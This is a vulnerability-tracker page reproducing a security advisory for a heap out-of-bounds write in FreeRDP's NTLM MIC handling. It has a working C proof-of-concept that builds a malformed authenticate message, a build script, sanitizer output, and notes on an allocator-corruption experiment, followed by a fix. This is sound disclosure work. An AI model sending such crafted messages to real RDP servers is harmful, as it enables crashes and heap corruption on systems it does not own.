Read the docs

Heap out-of-bounds write in FreeRDP NTLM MIC handling

Priority MEDIUM 48CWE-787Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
None
Attack complexity
High
Impact type
—
Confidentiality · integrity · availability
None · High · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-cmgx-558f-vh67. Fix status from GitHub.

Summary

FreeRDP versions from 2.0.0 through 3.31.1 are affected. A missing check of a backward NTLM field offset in the authenticate message lets an unauthenticated RDP client cause a heap out-of-bounds write of 16 zero bytes (CWE-787) on a FreeRDP server or proxy that sets the SspiNtlmHashCallback peer configuration. Code execution is not claimed.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

Mallory is an unauthenticated RDP client connecting to a FreeRDP server or proxy whose peer configuration supplies `SspiNtlmHashCallback`. A crafted NTLM `AUTHENTICATE_MESSAGE` places the 16-byte encrypted session key at wire offset zero while requesting a MIC at payload offset 64. FreeRDP accepts the backward field offset and records an authenticate-message copy of only 16 bytes. The hash-callback path then allocates negotiate length + challenge length + 16, advances into that allocation by the independently recorded MIC offset, and clears 16 bytes outside the allocation before authentication completes. This is not a password bypass, session theft, or TLS failure. The reproduced primitive is a fixed 16-byte zero write; code execution is not claimed. #### Affected configuration The path is limited to server or proxy peers that set `freerdp_peer::SspiNtlmHashCallback`. `libfreerdp/core/credssp_auth.c` copies that callback into the NTLM package settings. Standard NTLM credential paths that do not configure the callback do not enter the vulnerable branch. #### Root cause `winpr/libwinpr/sspi/NTLM/ntlm_message.c`, `ntlm_read_message_fields_buffer`, validates only that `BufferOffset + Len` is within the stream. It does not require an authenticate-message variable field to begin at or after the payload boundary. An encrypted-session-key descriptor of `Len=16`, `MaxLen=16`, and `BufferOffset=0` therefore leaves the stream at position 16 after that last field is read. The same message's NTLMv2 AV pairs set `MsvAvFlags = MSV_AV_FLAGS_MESSAGE_INTEGRITY_CHECK`, causing `ntlm_read_AuthenticateMessage` to record `MessageIntegrityCheckOffset=64`. `winpr/libwinpr/sspi/NTLM/ntlm.c`, `ntlm_computeMicValue`, then performs: ```c msgSize = ntlm->NegotiateMessage.cbBuffer + ntlm->ChallengeMessage.cbBuffer + ntlm->AuthenticateMessage.cbBuffer; if (!sspi_SecBufferAlloc(micvalue, msgSize)) return SEC_E_INSUFFICIENT_MEMORY; blob = (BYTE*)micvalue->pvBuffer; CopyMemory(blob, ntlm->NegotiateMessage.pvBuffer, ntlm->NegotiateMessage.cbBuffer); blob += ntlm->NegotiateMessage.cbBuffer; CopyMemory(blob, ntlm->ChallengeMessage.pvBuffer, ntlm->ChallengeMessage.cbBuffer); blob += ntlm->ChallengeMessage.cbBuffer; CopyMemory(blob, ntlm->AuthenticateMessage.pvBuffer, ntlm->AuthenticateMessage.cbBuffer); blob += ntlm->MessageIntegrityCheckOffset; ZeroMemory(blob, 16); ``` It never checks that `MessageIntegrityCheckOffset + 16 <= AuthenticateMessage.cbBuffer`. The ordinary HMAC helper `ntlm_compute_mic` already performs the missing range check. #### Validation The included reproducer links the real FreeRDP NTLM parser and MIC helper from an AddressSanitizer build. On current `master` (`fe8e4a68c`), the attack case observed: ```text mode=attack parse_status=0x80090304 mic_offset=64 auth_length=16 session_key_offset=0 ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 16 ntlm_computeMicValue ... winpr/libwinpr/sspi/NTLM/ntlm.c:1008 address is located 48 bytes after 18-byte region attack_exit=134 ``` The control changes only the encrypted-session-key offset to the end of the same message: ```text mode=control parse_status=0x80090304 mic_offset=64 auth_length=136 session_key_offset=120 mode=control mic_status=0x00000000 allocation=138 control_result=in_bounds_zero_write ``` The control completes without an AddressSanitizer finding. Runtime addresses and the local checkout prefix were omitted from the attack excerpt. The minimal harness reaches `SEC_E_INTERNAL_ERROR` later in the parser because it does not construct a full authentication context; it invokes the real MIC helper directly after the relevant parser state has been retained. Production reachability is source-confirmed through the configured hash-callback branch, but a full socket-level CredSSP exchange was not performed. #### Allocator experiment and limits A separate non-ASan experiment linked the real FreeRDP 3.31.1 `ntlm_computeMicValue` into a glibc process and deliberately placed a freed tcache chunk after the MIC allocation. The zero-write cleared that chunk's `next` and `key` words, a second `free` was accepted, and two subsequent allocations returned the same address. Another arranged layout aborted with `malloc(): invalid next size (unsorted)`. The reproduced output included: ```text [exploit] tcache chunk after overflow: 00 00 00 00 ... (next/key zeroed) [exploit] two allocations after double free: a=... b=... overlap=1 [metadata] sink aborted with signal 6 (SIGABRT=6): glibc heap metadata corruption ``` Process addresses are omitted from this excerpt. The same experiment then treated the overlapping address as a synthetic victim, wrote a local test function's address through the sibling alias, and invoked it. That step was performed by the harness, not by the NTLM zero-write. Its printed heap address was also obtained by local inspection of freed-chunk metadata and was not returned to the network peer. The experiment therefore supports allocator corruption and overlap as plausible consequences, but it does not establish protocol-driven heap grooming, a real server victim object, a remote arbitrary write, an information leak to Mallory, or production remote code execution. #### Release history Commit `4bfb4dddbf` added the server-side NTLM hash callback and the unchecked helper in 2017. The first stable release containing it is 2.0.0. I verified the same vulnerable logic in 2.0.0, 3.0.0, 3.31.1, and current `master`. No matching public issue, pull request, advisory, or fixed release was found. #### Remediation Reject an out-of-range MIC before allocation: ```c if ((ntlm->MessageIntegrityCheckOffset > ntlm->AuthenticateMessage.cbBuffer) || ((ntlm->AuthenticateMessage.cbBuffer - ntlm->MessageIntegrityCheckOffset) < 16)) return SEC_E_INVALID_TOKEN; ``` As defense in depth, reject non-empty authenticate-message fields whose `BufferOffset` precedes the message's `PayloadBufferOffset`. Add tests for the offset-zero session-key case, MICs ending exactly at and just beyond the authenticate-message boundary, and normal hash-callback authentication. #### Reproduction Set `FREERDP_SRC` to a FreeRDP source checkout and `FREERDP_BUILD` to a matching AddressSanitizer build, then run: ```sh cd poc ./run.sh ``` The attack intentionally terminates under AddressSanitizer. Generated files are confined to `poc/.build/`; remove them with `rm -rf poc/.build`. #### `poc/ntlm_mic_oob.c` ```c /* * FreeRDP NTLM AUTHENTICATE_MESSAGE MIC-offset reproducer. * * `attack` places the 16-byte EncryptedRandomSessionKey at offset zero. The * parser accepts that field and records a 16-byte AuthenticateMessage while * retaining a MIC offset of 64. ntlm_computeMicValue() then writes 16 zero * bytes beyond its allocation. * * `control` places the same field at the end of the message. The MIC lies * inside the recorded AuthenticateMessage and the same sink returns cleanly. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/wlog.h> #include "ntlm.h" SECURITY_STATUS ntlm_read_AuthenticateMessage(NTLM_CONTEXT* context, PSecBuffer buffer); SECURITY_STATUS ntlm_computeMicValue(NTLM_CONTEXT* ntlm, SecBuffer* micvalue); #define NTLMSSP_NEGOTIATE_UNICODE 0x00000001 #define NTLMSSP_NEGOTIATE_KEY_EXCH 0x40000000 #define MSV_AV_FLAGS_MESSAGE_INTEGRITY_CHECK 0x00000002 #define MSV_AV_EOL 0x00000000 #define MSV_AV_FLAGS 0x00000006 static void put_u16(BYTE* p, UINT16 v) { p[0] = (BYTE)(v & 0xff); p[1] = (BYTE)((v >> 8) & 0xff); } static void put_u32(BYTE* p, UINT32 v) { p[0] = (BYTE)(v & 0xff); p[1] = (BYTE)((v >> 8) & 0xff); p[2] = (BYTE)((v >> 16) & 0xff); p[3] = (BYTE)((v >> 24) & 0xff); } int main(int argc, char** argv) { const UINT32 ntOffset = 80; BYTE v2[16 + 28 + 8 + 4] = { 0 }; size_t cursor = 16 + 28; BOOL attack = FALSE; if (argc != 2 || ((strcmp(argv[1], "attack") != 0) && (strcmp(argv[1], "control") != 0))) { fprintf(stderr, "usage: %s attack|control\n", argv[0]); return 2; } attack = strcmp(argv[1], "attack") == 0; v2[16] = 0x01; v2[17] = 0x01; put_u16(&v2[cursor], MSV_AV_FLAGS); put_u16(&v2[cursor + 2], 4); put_u32(&v2[cursor + 4], MSV_AV_FLAGS_MESSAGE_INTEGRITY_CHECK); cursor += 8; put_u16(&v2[cursor], MSV_AV_EOL); put_u16(&v2[cursor + 2], 0); cursor += 4; const UINT32 ntLength = (UINT32)cursor; const size_t messageLength = ntOffset + ntLength; const UINT32 sessionKeyOffset = attack ? 0 : (UINT32)(messageLength - 16); BYTE* message = calloc(1, messageLength); NTLM_CONTEXT* context = calloc(1, sizeof(NTLM_CONTEXT)); SSPI_CREDENTIALS* credentials = calloc(1, sizeof(SSPI_CREDENTIALS)); if (!message || !context || !credentials) return 2; memcpy(message, "NTLMSSP\0", 8); put_u32(&message[8], 3); put_u16(&message[20], (UINT16)ntLength); put_u16(&message[22], (UINT16)ntLength); put_u32(&message[24], ntOffset); put_u16(&message[52], 16); put_u16(&message[54], 16); put_u32(&message[56], sessionKeyOffset); put_u32(&message[60], NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_NEGOTIATE_KEY_EXCH); memset(&message[64], 0xaa, 16); memcpy(&message[ntOffset], v2, ntLength); context->credentials = credentials; { wLog* log = WLog_Get("com.winpr.sspi.NTLM"); (void)WLog_SetLogLevel(log, WLOG_ERROR); } BYTE negotiate = 0; BYTE challenge = 0; context->NegotiateMessage.pvBuffer = &negotiate; context->NegotiateMessage.cbBuffer = 1; context->ChallengeMessage.pvBuffer = &challenge; context->ChallengeMessage.cbBuffer = 1; SecBuffer input = { 0 }; input.pvBuffer = message; input.cbBuffer = (ULONG)messageLength; const SECURITY_STATUS parseStatus = ntlm_read_AuthenticateMessage(context, &input); printf("mode=%s parse_status=0x%08x mic_offset=%zu auth_length=%u session_key_offset=%u\n", argv[1], (unsigned)parseStatus, context->MessageIntegrityCheckOffset, context->AuthenticateMessage.cbBuffer, sessionKeyOffset); fflush(stdout); if (context->MessageIntegrityCheckOffset != 64) return 3; if (attack && (context->AuthenticateMessage.cbBuffer != 16)) return 3; if (!attack && (context->AuthenticateMessage.cbBuffer != messageLength)) return 3; SecBuffer micValue = { 0 }; const SECURITY_STATUS micStatus = ntlm_computeMicValue(context, &micValue); printf("mode=%s mic_status=0x%08x allocation=%u\n", argv[1], (unsigned)micStatus, micValue.cbBuffer); fflush(stdout); if (micStatus != SEC_E_OK) return 4; if (!attack) { const BYTE* combined = (const BYTE*)micValue.pvBuffer; const size_t micStart = context->NegotiateMessage.cbBuffer + context->ChallengeMessage.cbBuffer + context->MessageIntegrityCheckOffset; for (size_t x = 0; x < 16; x++) { if (combined[micStart + x] != 0) return 5; } puts("control_result=in_bounds_zero_write"); } return 0; } ``` #### `poc/run.sh` ```sh #!/bin/sh set -eu : "${FREERDP_SRC:?set FREERDP_SRC to the FreeRDP source directory}" : "${FREERDP_BUILD:?set FREERDP_BUILD to an AddressSanitizer FreeRDP build directory}" HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) OUT="$HERE/.build" OBJDIR="$FREERDP_BUILD/winpr/libwinpr/CMakeFiles/winpr.dir/sspi/NTLM" WINPR_LIBDIR=${WINPR_LIBDIR:-"$FREERDP_BUILD/winpr/libwinpr"} DEPS_INCLUDEDIR=${FREERDP_DEPS_INCLUDEDIR:-/usr/include} DEPS_LIBDIR=${FREERDP_DEPS_LIBDIR:-/usr/lib} CC=${CC:-cc} mkdir -p "$OUT" for object in ntlm.c.o ntlm_message.c.o ntlm_compute.c.o ntlm_av_pairs.c.o; do test -f "$OBJDIR/$object" || { echo "missing ASan build object: $OBJDIR/$object" >&2 exit 2 } done "$CC" -w -DNDEBUG -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \ -I"$FREERDP_SRC/winpr/include" \ -I"$FREERDP_BUILD/winpr/include" \ -I"$FREERDP_SRC/winpr/libwinpr/sspi/NTLM" \ -I"$FREERDP_SRC/include" \ -I"$FREERDP_BUILD/include" \ -I"$DEPS_INCLUDEDIR" \ -o "$OUT/ntlm_mic_oob" "$HERE/ntlm_mic_oob.c" \ "$OBJDIR/ntlm.c.o" \ "$OBJDIR/ntlm_message.c.o" \ "$OBJDIR/ntlm_compute.c.o" \ "$OBJDIR/ntlm_av_pairs.c.o" \ -L"$WINPR_LIBDIR" -L"$DEPS_LIBDIR" -Wl,-rpath,"$WINPR_LIBDIR" \ -lwinpr3 -lssl -lcrypto -lz -lpthread -Wl,--gc-sections ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \ timeout 30 "$OUT/ntlm_mic_oob" control >"$OUT/control.stdout" 2>"$OUT/control.stderr" if grep -q 'ERROR: AddressSanitizer' "$OUT/control.stderr"; then echo "control unexpectedly triggered AddressSanitizer" >&2 exit 1 fi grep -q 'control_result=in_bounds_zero_write' "$OUT/control.stdout" set +e ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \ timeout 30 "$OUT/ntlm_mic_oob" attack >"$OUT/attack.stdout" 2>"$OUT/attack.stderr" attack_status=$? set -e test "$attack_status" -ne 0 grep -q 'ERROR: AddressSanitizer: heap-buffer-overflow' "$OUT/attack.stderr" grep -q 'WRITE of size 16' "$OUT/attack.stderr" grep -q 'ntlm_computeMicValue' "$OUT/attack.stderr" cat "$OUT/control.stdout" cat "$OUT/attack.stdout" grep -m1 'ERROR: AddressSanitizer: heap-buffer-overflow' "$OUT/attack.stderr" grep -m1 'WRITE of size 16' "$OUT/attack.stderr" echo "attack_exit=$attack_status" ``` Credit: Opensec Intelligence

Why it matters now

Fix Fixed FreeRDP (c): 3.32.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)>= 2.0.0, <= 3.31.13.32.0Patch availableGHSA-cmgx-558f-vh67
  • FreeRDP (c) Vendor— Affected >= 2.0.0, <= 3.31.1 Fixed in 3.32.0 Patch available GHSA-cmgx-558f-vh67

Remediation

Upgrade FreeRDP to version 3.32.0, which fixes the flaw.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-cmgx-558f-vh67 FreeRDP (c) Fixed in 3.32.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-cmgx-558f-vh67

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences